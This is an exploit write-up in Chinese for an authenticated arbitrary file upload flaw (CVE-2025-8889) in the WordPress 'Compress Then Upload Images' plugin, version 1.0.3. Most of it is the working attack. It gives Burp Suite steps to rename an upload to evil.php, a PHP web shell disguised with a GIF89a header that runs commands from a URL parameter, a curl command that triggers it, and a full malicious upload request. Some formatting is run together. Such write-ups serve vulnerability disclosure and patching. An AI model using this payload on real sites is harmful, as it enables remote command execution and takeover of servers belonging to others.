日期: 2025-07-23
漏洞利用作者: Muhammed Çelik
厂商主页: https://wordpress.com/plugins/compress-then-upload
软件链接: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
版本: 1.0.3
测试环境: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
WordPress "Compress Then Upload Images" 插件未能正确验证通过其媒体上传接口上传图片时的文件扩展名和MIME类型。虽然存在客户端验证,但可以通过拦截并修改上传请求来绕过。
经过身份验证且具有媒体上传权限(作者角色或更高)的用户可以利用此漏洞:
步骤 1:准备一个普通的图片文件
创建一个普通的图片文件,例如 regular.jpg(任何有效的 JPG 文件)。
步骤 2:通过 WordPress 管理面板上传普通图片
regular.jpg。步骤 3:使用 Burp Suite 拦截并修改上传请求
filename="regular.jpg" 改为 filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
注意:`GIF89a;` 模拟一个有效的 GIF 头部以绕过弱图像验证。
保持 Content-Type 为 image/jpeg。
将修改后的请求发送到服务器。
**步骤 4:触发上传的 web shell**
如果上传成功,PHP 文件将被保存在 uploads 目录,例如:
http://target-site.com/wp-content/uploads/2025/07/evil.php
通过浏览器或 curl 访问:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
**恶意上传请求示例(Burp Suite)**
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>